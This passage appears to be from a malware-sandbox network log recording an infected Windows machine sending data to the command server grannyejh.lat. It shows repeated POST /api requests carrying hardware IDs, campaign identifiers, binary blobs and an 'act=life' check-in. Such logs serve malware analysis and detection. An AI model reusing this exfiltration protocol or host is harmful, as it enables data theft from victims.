4a 43 34 4d 69 6b 64 4b 41 6d 4a 4b 38 69 68 63 67 7a 6c 65 76 Data Ascii: 491cxEfL5wtDkv1dQJVHQW2oa2hnGGjICm3TWC3NgIXsrWq/Zb3FMXe+3y4lt301H90OREV5DOowC7I0Xqisp5rASP4hqot4Jr7fODi3fRoWig4GRSJKrWAPsjRPrOvqnMEJrCusj24g9pwxLfAiJAzCBQEKcAXqJk+2Ig/3osiJ2QuJJriMKT6+hn8l+2V7T8kOCgt+DKNiBbs8Tqnq9YXLAqwlr45kKeKROyr7JC4MikdKAmJK8ihcgzlev
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 53 50 35 6c 72 34 74 6f 4c 50 43 4e 4e 79 6e 38 49 44 45 45 77 77 51 48 42 58 63 41 70 57 73 50 74 6a 42 46 6f 4f 6a 6a 67 38 49 4f 70 69 58 70 79 79 6b 6d 36 4e 39 6e 59 74 51 67 4d 77 6a 47 48 30 67 2f 4f 68 58 6b 63 55 2b 32 4e 67 2f 33 6f 75 2b 4c 7a 41 75 74 4b 71 71 4e 59 6a 50 77 6a 54 6b 76 38 6a 63 6c 43 73 51 44 43 52 64 77 42 4b 78 72 42 72 6f 7a 53 71 6a 6d 70 38 43 50 44 37 35 6c 38 63 56 49 4c 50 75 54 4e 54 58 33 5a 54 78 42 30 30 6b 4e 43 54 70 53 36 6d 77 4f 74 54 74 4c 6f 65 7a 6a 67 73 6b 47 71 79 71 76 6a 32 6b 6d 2b 70 63 33 49 2f 6f 75 4c 41 2f 50 42 41 34 44 64 67 75 76 4b 45 48 78 50 56 66 76 75 71 65 67 79 41 75 30 5a 35 79 47 5a 79 2f 33 69 58 38 39 75 54 78 6a 43 4d 5a 4a 55 6b 56 30 44 36 56 36 44 71 4d 2f 51 62 33 75 34 6f 6a Data Ascii: SP5lr4toLPCNNyn8IDEEwwQHBXcApWsPtjBFoOjjg8IOpiXpyykm6N9nYtQgMwjGH0g/OhXkcU+2Ng/3ou+LzAutKqqNYjPwjTkv8jclCsQDCRdwBKxrBrozSqjmp8CPD75l8cVILPuTNTX3ZTxB00kNCTpS6mwOtTtLoezjgskGqyqvj2km+pc3I/ouLA/PBA4DdguvKEHxPVfvuqegyAu0Z5yGZy/3iX89uTxjCMZJUkV0D6V6DqM/Qb3u4oj
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 35 79 47 5a 79 2f 33 69 58 38 39 75 54 78 6a 43 4d 5a 4a 55 6b 56 33 41 71 39 74 41 4c 41 77 51 61 72 6f 36 34 62 42 43 37 51 71 72 59 56 6c 4b 66 71 53 4d 53 62 2f 4c 43 67 45 7a 41 6b 4c 44 7a 70 45 36 6d 38 58 38 57 49 50 6d 2b 58 72 67 38 42 4b 6b 79 61 6e 69 32 34 33 73 49 42 78 4f 37 63 69 4c 30 2b 53 53 51 59 4d 65 67 47 67 62 41 2b 32 4e 30 71 73 35 65 53 44 79 41 4b 6f 49 71 32 4a 59 43 7a 32 6e 7a 67 6d 38 6a 63 6d 42 73 59 46 53 6b 73 36 44 62 49 6f 56 2f 45 56 53 4c 6e 68 79 49 33 65 41 65 59 36 35 35 77 70 4a 76 7a 66 5a 32 4c 77 49 43 73 45 7a 41 45 4b 46 33 38 45 6f 57 6b 46 74 7a 74 43 6f 2b 54 6e 6a 38 38 4f 71 69 57 75 67 6e 73 7a 39 5a 6b 74 4b 4c 64 72 59 77 6a 53 53 56 4a 46 54 42 71 39 65 52 6e 7a 44 30 79 68 37 4f 43 59 6a 78 66 6f Data Ascii: 5yGZy/3iX89uTxjCMZJUkV3Aq9tALAwQaro64bBC7QqrYVlKfqSMSb/LCgEzAkLDzpE6m8X8WIPm+Xrg8BKkyani243sIBxO7ciL0+SSQYMegGgbA+2N0qs5eSDyAKoIq2JYCz2nzgm8jcmBsYFSks6DbIoV/EVSLnhyI3eAeY655wpJvzfZ2LwICsEzAEKF38EoWkFtztCo+Tnj88OqiWugnsz9ZktKLdrYwjSSVJFTBq9eRnzD0yh7OCYjxfo
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 77 75 2b 6f 30 33 4c 50 6f 75 4c 41 54 59 43 51 63 42 64 67 36 69 59 77 58 78 64 41 2b 6f 2b 71 66 57 6a 7a 32 72 4b 71 6d 47 66 32 48 76 30 53 5a 69 38 43 6c 6a 56 34 6f 46 42 41 56 31 42 71 5a 6a 42 37 41 32 51 61 6a 6e 37 6f 62 48 47 71 63 68 6f 59 52 6e 4c 76 47 62 4f 69 66 7a 49 69 63 4a 78 55 6c 45 52 58 30 53 36 6a 42 50 6e 68 31 36 37 63 50 64 7a 74 42 47 76 32 57 75 69 53 6c 35 73 4a 4d 38 4c 76 38 71 4a 51 62 47 41 77 4d 4f 64 67 47 75 5a 41 61 30 50 45 36 71 35 2b 61 4b 77 77 4b 67 4a 71 71 4b 5a 69 37 34 33 33 46 69 38 44 31 6a 56 34 6f 73 48 51 35 30 44 4f 70 33 51 61 68 36 53 4b 4f 69 76 38 37 44 41 61 41 6a 72 49 6c 6f 4a 2f 69 61 4e 79 62 32 49 79 55 4d 78 51 30 50 42 48 55 4f 70 6d 59 46 73 44 74 44 70 4f 33 73 69 34 39 47 35 69 4b 78 78 Data Ascii: wu+o03LPouLATYCQcBdg6iYwXxdA+o+qfWjz2rKqmGf2Hv0SZi8CljV4oFBAV1BqZjB7A2Qajn7obHGqchoYRnLvGbOifzIicJxUlERX0S6jBPnh167cPdztBGv2WuiSl5sJM8Lv8qJQbGAwMOdgGuZAa0PE6q5+aKwwKgJqqKZi7433Fi8D1jV4osHQ50DOp3Qah6SKOiv87DAaAjrIloJ/iaNyb2IyUMxQ0PBHUOpmYFsDtDpO3si49G5iKxx
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 56 4d 79 58 79 4c 69 77 44 69 6b 64 4b 41 6d 4a 4b 38 69 67 68 75 69 6c 59 72 4f 7a 73 6d 4e 52 49 75 57 75 77 78 57 34 74 73 4d 64 2f 49 66 77 75 4a 77 2f 47 43 51 34 49 65 68 69 6c 62 77 69 34 4d 56 32 6c 35 65 43 46 78 77 4f 70 49 37 75 4a 5a 7a 50 31 6a 53 31 69 75 57 55 6b 46 34 70 52 53 6a 4e 39 47 72 70 72 54 59 41 73 54 4c 6e 70 36 6f 4b 50 46 2b 67 38 36 59 4a 6c 59 61 6a 66 4f 53 33 2b 4a 69 77 4f 77 77 55 48 41 48 4d 50 71 32 34 4c 75 7a 42 50 71 65 54 6d 69 38 55 4c 70 79 2b 67 67 6d 45 6d 38 34 31 2f 62 4c 63 69 4f 30 2b 53 53 53 4d 43 61 41 53 36 4b 42 44 2f 49 77 2b 6f 37 71 66 57 6a 77 79 73 4b 71 32 43 5a 53 66 31 6d 54 49 6a 2b 43 51 6a 41 4d 34 43 41 77 4e 37 42 36 39 6c 43 36 4d 77 52 4b 44 75 37 6f 4c 43 53 4f 68 6c 72 70 30 70 65 62 Data Ascii: VMyXyLiwDikdKAmJK8ighuilYrOzsmNRIuWuwxW4tsMd/IfwuJw/GCQ4Iehilbwi4MV2l5eCFxwOpI7uJZzP1jS1iuWUkF4pRSjN9GrprTYAsTLnp6oKPF+g86YJlYajfOS3+JiwOwwUHAHMPq24LuzBPqeTmi8ULpy+ggmEm841/bLciO0+SSSMCaAS6KBD/Iw+o7qfWjwysKq2CZSf1mTIj+CQjAM4CAwN7B69lC6MwRKDu7oLCSOhlrp0peb
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 39 79 67 70 48 63 41 43 44 77 68 33 42 36 6c 75 43 62 6f 32 58 61 62 69 35 49 57 50 52 75 59 69 73 63 55 78 59 64 4f 49 4b 53 6a 77 4b 54 55 45 79 77 6f 63 43 47 70 4b 35 43 67 65 74 69 73 50 39 2f 54 33 6d 63 67 58 36 44 7a 70 67 6d 56 68 71 4e 38 35 4b 2f 45 69 4a 51 48 59 44 41 77 4b 64 51 4f 6a 62 41 65 79 4f 6b 75 72 35 65 4b 4e 77 77 4f 68 4a 71 61 42 59 43 2f 35 6b 48 39 73 74 79 49 37 54 35 4a 4a 4b 78 35 35 42 71 63 6f 45 50 38 6a 44 36 6a 75 70 39 61 50 42 4b 67 67 71 59 39 76 4a 66 57 5a 4e 53 66 33 4c 69 41 41 7a 67 38 4f 43 6e 6f 42 6f 32 6b 4a 74 44 42 45 71 65 2f 6b 69 4d 6c 49 36 47 57 75 6e 53 6c 35 73 4c 38 6b 4c 2f 73 69 59 78 43 45 45 45 6f 43 64 6b 72 79 4b 41 53 39 50 6b 69 76 37 2b 53 47 79 67 79 73 49 4b 6d 4e 65 79 6e 77 6d 43 30 Data Ascii: 9ygpHcACDwh3B6luCbo2Xabi5IWPRuYiscUxYdOIKSjwKTUEywocCGpK5CgetisP9/T3mcgX6DzpgmVhqN85K/EiJQHYDAwKdQOjbAeyOkur5eKNwwOhJqaBYC/5kH9styI7T5JJKx55BqcoEP8jD6jup9aPBKggqY9vJfWZNSf3LiAAzg8OCnoBo2kJtDBEqe/kiMlI6GWunSl5sL8kL/siYxCEEEoCdkryKAS9Pkiv7+SGygysIKmNeynwmC0
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 55 2b 53 53 54 52 46 61 41 6d 36 61 77 43 67 42 41 2f 33 2b 39 6e 4f 78 42 36 68 4e 61 71 54 59 69 7a 38 6a 67 46 69 72 33 46 78 58 5a 68 62 57 42 6f 36 46 5a 55 6d 54 37 42 36 46 35 62 37 70 35 69 50 55 50 52 72 36 5a 63 70 65 62 44 59 50 44 44 6c 49 79 41 5a 79 55 34 30 4f 31 30 63 6f 47 38 66 74 69 31 41 37 36 79 6e 67 59 39 51 6e 32 57 67 67 6e 49 77 35 70 49 76 4a 62 63 61 62 55 2f 53 53 56 4a 46 54 77 6d 6b 5a 67 69 6e 4b 77 4b 49 39 4f 32 4a 33 77 2b 78 4b 75 6e 4c 4b 53 65 77 78 32 78 73 74 79 45 79 54 35 4a 5a 57 46 34 76 57 66 30 34 58 61 35 30 56 75 2f 30 70 39 61 64 52 75 59 33 36 64 30 70 5a 76 4f 4e 4c 53 54 30 4d 79 42 49 39 44 63 74 48 33 63 4d 76 58 6b 78 6a 7a 31 56 6f 75 54 77 6e 34 4d 64 70 53 75 6e 67 6e 39 68 76 74 38 77 59 71 38 63 Data Ascii: U+SSTRFaAm6awCgBA/3+9nOxB6hNaqTYiz8jgFir3FxXZhbWBo6FZUmT7B6F5b7p5iPUPRr6ZcpebDYPDDlIyAZyU40O10coG8fti1A76yngY9Qn2WggnIw5pIvJbcabU/SSVJFTwmkZginKwKI9O2J3w+xKunLKSewx2xstyEyT5JZWF4vWf04Xa50Vu/0p9adRuY36d0pZvONLST0MyBI9DctH3cMvXkxjz1VouTwn4MdpSungn9hvt8wYq8c
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 68 4b 58 53 70 59 38 54 31 63 35 6d 6f 64 73 4b 7a 2b 7a 74 6c 49 2f 6e 66 6e 78 58 74 68 71 4e 39 34 49 65 55 33 4a 51 7a 63 43 6b 30 37 52 43 32 6b 62 77 36 6e 4b 6c 69 67 33 4e 6d 62 7a 41 61 6f 49 72 2b 55 4b 57 2b 77 6b 48 39 36 7a 6d 56 72 54 2f 56 48 53 68 30 36 55 75 70 64 44 4c 38 30 53 4c 6e 7a 71 71 6e 42 44 36 63 7a 75 5a 4a 6d 59 62 37 66 4f 57 4b 76 64 32 31 50 7a 68 68 4b 58 53 70 59 38 54 31 63 35 6d 6f 64 73 4b 7a 2b 7a 74 6c 49 2f 6e 66 6e 78 58 74 68 71 4e 39 34 49 65 55 33 4a 51 7a 63 43 6b 30 37 52 43 32 6b 62 77 36 6e 4b 6c 69 67 72 63 6d 34 37 6a 61 59 4d 4b 71 4c 5a 79 62 6d 6a 6e 39 73 74 79 70 6a 56 2f 4e 4a 51 6b 56 46 52 4f 70 77 54 2b 6c 36 65 71 7a 73 36 59 6e 5a 47 65 73 43 70 34 4a 6f 4e 2b 43 49 4d 47 33 5a 45 77 4a 50 68 Data Ascii: hKXSpY8T1c5modsKz+ztlI/nfnxXthqN94IeU3JQzcCk07RC2kbw6nKlig3NmbzAaoIr+UKW+wkH96zmVrT/VHSh06UupdDL80SLnzqqnBD6czuZJmYb7fOWKvd21PzhhKXSpY8T1c5modsKz+ztlI/nfnxXthqN94IeU3JQzcCk07RC2kbw6nKligrcm47jaYMKqLZybmjn9stypjV/NJQkVFROpwT+l6eqzs6YnZGesCp4JoN+CIMG3ZEwJPh
2024-12-18 16:14:31 UTC	1369	IN	Data Raw: 35 47 71 31 57 4d 5a 77 6f 53 4c 2f 68 70 62 2f 5a 43 36 59 72 72 73 55 6e 59 65 6a 66 5a 32 4c 61 4e 79 51 66 79 55 6c 45 52 58 5a 4b 38 69 67 43 6f 7a 31 66 72 4b 37 67 6c 4d 68 49 75 57 75 77 78 58 39 68 71 4d 78 78 59 75 56 6c 65 30 2b 4e 42 77 63 45 65 51 53 70 65 68 32 33 4f 56 6d 73 70 64 6d 77 34 68 71 68 4e 61 72 48 57 43 7a 30 69 53 6f 68 35 79 49 64 4d 65 63 62 44 52 56 35 53 49 5a 76 41 72 30 45 63 5a 6a 7a 34 4a 36 4e 4c 71 55 7a 71 73 55 6e 59 65 6a 66 5a 32 4c 61 4e 79 51 66 79 55 73 6d 41 6e 63 47 36 6e 64 42 71 48 70 5a 37 37 71 30 77 49 38 61 35 6e 33 70 77 6d 6f 7a 34 70 6b 38 4e 50 52 69 48 54 48 6e 47 77 30 56 65 55 69 62 5a 51 75 6e 4c 30 79 2f 35 64 6d 77 34 68 71 68 4e 61 72 48 54 42 75 79 72 69 6b 68 39 79 73 6b 54 34 52 4a 45 6b Data Ascii: 5Gq1WMZwoSL/hpb/ZC6YrrsUnYejfZ2LaNyQfyUlERXZK8igCoz1frK7glMhIuWuwxX9hqMxxYuVle0+NBwcEeQSpeh23OVmspdmw4hqhNarHWCz0iSoh5yIdMecbDRV5SIZvAr0EcZjz4J6NLqUzqsUnYejfZ2LaNyQfyUsmAncG6ndBqHpZ77q0wI8a5n3pwmoz4pk8NPRiHTHnGw0VeUibZQunL0y/5dmw4hqhNarHTBuyrikh9yskT4RJEk

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	50327	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:33 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FCU01U2BJM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18115 Host: grannyejh.lat
2024-12-18 16:14:33 UTC	15331	OUT	Data Raw: 2d 2d 46 43 55 30 31 55 32 42 4a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 43 55 30 31 55 32 42 4a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 43 55 30 31 55 32 42 4a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 43 55 30 31 55 32 42 4a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --FCU01U2BJMContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--FCU01U2BJMContent-Disposition: form-data; name="pid"2--FCU01U2BJMContent-Disposition: form-data; name="lid"PsFKDg--pablo--FCU01U2BJMContent-
2024-12-18 16:14:33 UTC	2784	OUT	Data Raw: c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-18 16:14:35 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bm0bfts7q14scqvk52b4ppdmmg; expires=Sun, 13-Apr-2025 10:01:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wsXi5RZpMUk51Eqeyqpfm8oHxCdrpBcJeuIiLkqQ8u1jIirnxlBq8tv3Qy9du4sB9A%2FlgUCoPDo%2BiUu3j7QK7rUxCRDFU%2Ba7BoI17SA8YPvzX6u1SuOhlwTYbRyhU4fi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f407252ff6cde9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1643&rtt_var=668&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2830&recv_bytes=19066&delivery_rate=1575822&cwnd=192&unsent_bytes=0&cid=f88e57ef98f07f6a&ts=2324&x=0"
2024-12-18 16:14:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	50328	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:36 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9RWRCTVX3IC12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8754 Host: grannyejh.lat
2024-12-18 16:14:36 UTC	8754	OUT	Data Raw: 2d 2d 39 52 57 52 43 54 56 58 33 49 43 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 52 57 52 43 54 56 58 33 49 43 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 52 57 52 43 54 56 58 33 49 43 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 52 57 52 43 54 56 58 33 49 43 Data Ascii: --9RWRCTVX3IC12Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--9RWRCTVX3IC12Content-Disposition: form-data; name="pid"2--9RWRCTVX3IC12Content-Disposition: form-data; name="lid"PsFKDg--pablo--9RWRCTVX3IC
2024-12-18 16:14:37 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h84onep4arptu61bntm94pt21l; expires=Sun, 13-Apr-2025 10:01:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JxflqfDX9XHHNw%2FkMAHR0ALUNg3ww%2BUusjHTXcjVCEzZ5TPYbkOIl%2FM8qsyvux9eaZUIGLEMK9YRU3XHSQuMZLn5OZ0wleG%2Fd%2FoINTS6KKhd%2FAg%2F9oyuFXdNnEST5uRG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072692a8aefa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1860&rtt_var=701&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9685&delivery_rate=1555673&cwnd=161&unsent_bytes=0&cid=79bdb85b144e7b2f&ts=938&x=0"
2024-12-18 16:14:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	50330	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:37 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:14:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:14:38 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ljcalnmuda5urpjplho54gh6d; expires=Sun, 13-Apr-2025 10:01:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2r%2Bc8rZfDaEJgL6LyDly1OiAjKPljn1wGmVed3yIAh5MalykxFuk%2Bk3E7KZjfsXHaSBQLWOqhVxozJvDZzcDHchaWhOvOOYy5rGqj1kuAlVU6jbuxObJbGXilrlyWYum"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40726dc9961865-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1678&min_rtt=1668&rtt_var=647&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1663817&cwnd=195&unsent_bytes=0&cid=562068d56b7a3a6a&ts=907&x=0"
2024-12-18 16:14:38 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:14:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	50331	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:39 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KNDBMVV4XQWR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: grannyejh.lat
2024-12-18 16:14:39 UTC	15331	OUT	Data Raw: 2d 2d 4b 4e 44 42 4d 56 56 34 58 51 57 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 4e 44 42 4d 56 56 34 58 51 57 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 4e 44 42 4d 56 56 34 58 51 57 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 4e 44 42 4d 56 56 34 58 51 57 52 0d 0a Data Ascii: --KNDBMVV4XQWRContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--KNDBMVV4XQWRContent-Disposition: form-data; name="pid"3--KNDBMVV4XQWRContent-Disposition: form-data; name="lid"PsFKDg--pablo--KNDBMVV4XQWR
2024-12-18 16:14:39 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-18 16:14:40 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pckaunqj47pnqf1sbu7qos5u89; expires=Sun, 13-Apr-2025 10:01:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wuSlXRmghqBvQ0865UbpOWg%2BOj8s%2BFxwm7GZ7td2myzeQMoWbWBMhaTqYMceLdQV%2FHG8EXUakJ3eNFofgtwLsTtJJqIpxXP31h2YtxmPeiUj88F9KJV9ku7nLFE8phlQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072772dbd423e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1717&min_rtt=1700&rtt_var=671&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21354&delivery_rate=1590413&cwnd=191&unsent_bytes=0&cid=31c51c6e7dde9c67&ts=1346&x=0"
